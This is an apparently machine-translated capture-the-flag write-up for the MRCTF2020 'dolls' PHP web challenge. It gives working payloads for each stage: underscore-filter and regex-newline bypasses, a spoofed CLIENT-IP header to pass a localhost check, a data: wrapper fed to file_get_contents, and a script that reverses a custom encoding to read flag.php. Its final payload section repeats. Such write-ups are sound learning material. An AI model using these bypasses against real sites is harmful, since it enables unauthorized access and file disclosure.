[mrctf2020] dolls

WP

Thousand layer cake PHP topic , It's very suitable for beginners to learn , Investigation bypass , Encoding mode

first floor

In the source code , Find out hint

<!--
//1st
$query = $_SERVER['QUERY_STRING'];

 if( substr_count($query, '_') !== 0 || substr_count($query, '%5f') != 0 ){
    die('Y0u are So cutE!');
}
 if($_GET['b_u_p_t'] !== '23333' && preg_match('/^23333$/', $_GET['b_u_p_t'])){
    echo "you are going to the next ~";
}
!-->

$_SERVER['QUERY_STRING'] The value of is URL in ? String after （ A string of key value pairs ）

Through two if sentence , To get to the next level

first if

Pass the condition as string variable $query It doesn't contain _,%5f

It can be used Space ,.,%5F Instead of underline ！

Learning links ： utilize PHP String parsing features of Bypass

the second if

requirement b_u_p_t The value of is strictly not equal to 23333, Regular matching should match to 23333

structure payload：

?b%5Fu%5Fp%5Ft=23333%0a

Look for the ,/^23333$/ The regular matching here is to match the beginning and end ,%0a Here as a newline ,

Pass parameter echo ：how smart you are ~ FLAG is in secrettw.php

visit secrettw.php, Go to the second level

The second floor

The same prompt is found in the source code

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-->

decode

Familiar coding method ,JsFuck encryption , The decryption result is ：

alert("post me Merak")

That's ok ,post The ginseng Merak try

The ginseng

Echo source code

<?php 
error_reporting(0); 
include 'takeip.php';
ini_set('open_basedir','.'); 
include 'flag.php';

if(isset($_POST['Merak'])){ 
    highlight_file(__FILE__); 
    die(); 
} 


function change($v){ 
    $v = base64_decode($v); 
    $re = ''; 
    for($i=0;$i<strlen($v);$i++){ 
        $re .= chr ( ord ($v[$i]) + $i*2 ); 
    } 
    return $re; 
}
echo 'Local access only!'."<br/>";
$ip = getIp();
if($ip!='127.0.0.1')
echo "Sorry,you don't have permission!  Your ip is :".$ip;
if($ip === '127.0.0.1' && file_get_contents($_GET['2333']) === 'todat is a happy day' ){
echo "Your REQUEST is:".change($_GET['file']);
echo file_get_contents(change($_GET['file'])); }
?> 

The third level

From the source code, there are two if, Decrypt change() function

ip determine

CLIENT-IP: 
X-FORWARDED-FOR: 
X-REAL-IP: 

After testing , Only CLIENT-IP: Pass the test , Add in the request header CLIENT-IP: 127.0.0.1

data Fake protocol

file_get_contents($_GET['2333']) === 'todat is a happy day' yes ctf More common forms , Investigate PHP Fake protocol

structure 2333 Parameters

2333=data:text/plain,todat is a happy day

change Decrypt

We introduced file The parameters will go through change() Handle , As a result, the file name passed in directly cannot be read to the desired file , Analyze self built functions change()

function change($v){ 
    $v = base64_decode($v); 
    $re = ''; 
    for($i=0;$i<strlen($v);$i++){ 
        $re .= chr ( ord ($v[$i]) + $i*2 ); 
    } 
    return $re; 
}

Pass in parameters first Base64 Decrypt , Then add value bit by bit （chr ( ord ($v[$i]) + $i*2 )） change

Use the backward method , Suppose that the final return is flag.php

Everyone passed ASCII Value subtraction , To convert ASCII character , Assemble into a new string

New string jing too Base64 encryption , Is the string to be input

Making scripts ：

<?php
function unchange($v){ 

    $re = '';
    for($i=0;$i<strlen($v);$i++){ 
        $re .= chr ( ord ($v[$i]) - $i*2 ); 
    } 
    return $re; 
}
$a=unchange('flag.php');
echo base64_encode($a);
?>

The result is ：ZmpdYSZmXGI=

Final construction payload

?2333=data:text/plain,todat is a happy day&file=ZmpdYSZmXGI=

Remember to be in http Add... To the request header ：CLIENT-IP: 127.0.0.1

The result is ：ZmpdYSZmXGI=

Final construction payload

?2333=data:text/plain,todat is a happy day&file=ZmpdYSZmXGI=

Remember to be in http Add... To the request header ：CLIENT-IP: 127.0.0.1

The echo flag value